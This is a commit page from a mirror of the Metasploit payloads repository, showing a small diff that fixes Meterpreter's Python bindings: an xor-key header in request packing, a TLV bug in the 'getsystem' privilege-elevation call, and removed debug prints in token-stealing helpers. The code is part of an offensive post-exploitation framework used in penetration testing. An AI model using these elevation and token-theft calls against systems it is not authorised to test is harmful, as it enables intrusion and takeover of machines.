github/metasploit-payloads
1
Fork 0
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-24 18:16:24 +01:00
Code Releases Activity

Land , Fix Python <-> Meterp bindings (xor key issue + TLV issue in getsystem)

Browse Source
This commit is contained in:
Brent Cook 2016-03-23 18:10:36 -05:00
commit 17288d6f03
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
3 changed files with 3 additions and 4 deletions
c/meterpreter/source/extensions/python
Lib/meterpreter
core.pyelevate.py
Resource Files
python_core.cz

3
c/meterpreter/source/extensions/python/Lib/meterpreter/core.py

@ -212,7 +212,8 @@ def invoke_meterpreter(method, is_local, tlv = ""):
header = struct.pack('>I', PACKET_TYPE_REQUEST) header = struct.pack('>I', PACKET_TYPE_REQUEST)
header += tlv_pack(TLV_TYPE_METHOD, method) header += tlv_pack(TLV_TYPE_METHOD, method)
header += tlv_pack(TLV_TYPE_REQUEST_ID, 0) header += tlv_pack(TLV_TYPE_REQUEST_ID, 0)
req = struct.pack('>I', len(header) + len(tlv) + 4) + header + tlv # add a leading 4-byte "zero" for the xor-key
req = struct.pack('>I>I', 0, len(header) + len(tlv) + 4) + header + tlv
return getattr(meterpreter_bindings, binding)(is_local, req) return getattr(meterpreter_bindings, binding)(is_local, req)

4
c/meterpreter/source/extensions/python/Lib/meterpreter/elevate.py

@ -6,7 +6,7 @@ from meterpreter.tlv import *
# We only support technique 1 (as it's the only one that doesn't require DLLs) # We only support technique 1 (as it's the only one that doesn't require DLLs)
def getsystem(): def getsystem():
tlv = tlv_pack(TLV_TYPE_ELEVATE_TECHNIQUE, 1) tlv = tlv_pack(TLV_TYPE_ELEVATE_TECHNIQUE, 1)
tlv = tlv_pack(TLV_TYPE_ELEVATE_SERVICE_NAME, rnd_string(5)) tlv += tlv_pack(TLV_TYPE_ELEVATE_SERVICE_NAME, rnd_string(5))
resp = invoke_meterpreter('priv_elevate_getsystem', True, tlv) resp = invoke_meterpreter('priv_elevate_getsystem', True, tlv)
if resp == None: if resp == None:
return False return False
@ -26,7 +26,6 @@ def steal_token(pid):
if resp == None: if resp == None:
return False return False
print packet_get_tlv(resp, TLV_TYPE_RESULT)['value']
return packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] == 0 return packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] == 0
def drop_token(): def drop_token():
@ -34,6 +33,5 @@ def drop_token():
if resp == None: if resp == None:
return False return False
print packet_get_tlv(resp, TLV_TYPE_RESULT)['value']
return packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] == 0 return packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] == 0

BIN
c/meterpreter/source/extensions/python/Resource Files/python_core.cz

Binary file not shown.